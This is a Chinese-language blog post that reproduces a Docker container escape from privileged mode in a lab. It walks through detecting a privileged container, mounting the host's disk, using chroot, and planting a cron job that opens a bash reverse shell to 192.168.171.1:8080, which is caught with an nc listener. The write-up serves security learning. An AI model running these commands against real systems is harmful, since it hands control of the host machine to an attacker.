[docker逃逸] Privileged 特权模式逃逸复现

本文作者CVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

简述

在 Docker 中,Privileged 特权模式赋予容器几乎与宿主机相同的权限,允许其访问所有设备和内核功能。这种模式虽然提供了灵活性,但也带来了安全风险,可能导致容器逃逸,即攻击者从容器内获取宿主机权限。

环境配置

以特权模式创建容器

bash 复制代码
docker pull centos
docker run -itd --privileged centos /bin/bash

查看当前是否为docker环境:

bash 复制代码
cat /proc/1/cgroup|grep docker

systemd-detect-virt 也可以判断当前是否为容器

systemd-detect-virt

查看当前是否为特权模式

capsh --print

cat /proc/self/status | grep CapEff

CapEff0000001fffffffff,当前容器为特权模式。

复现

使用lsblk查看磁盘

挂载宿主机根目录

mkdir test
mount /dev/sds3 test

挂载成功

使用chroot切换根目录,方便进行计划任务反弹shell

chroot test

创建计划任务

crontab -e

*/1 * * * *  /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.171.1/8080 0>&1"

攻击机监听反弹shell,成功反弹了宿主机的shell

nc -lvvp 8080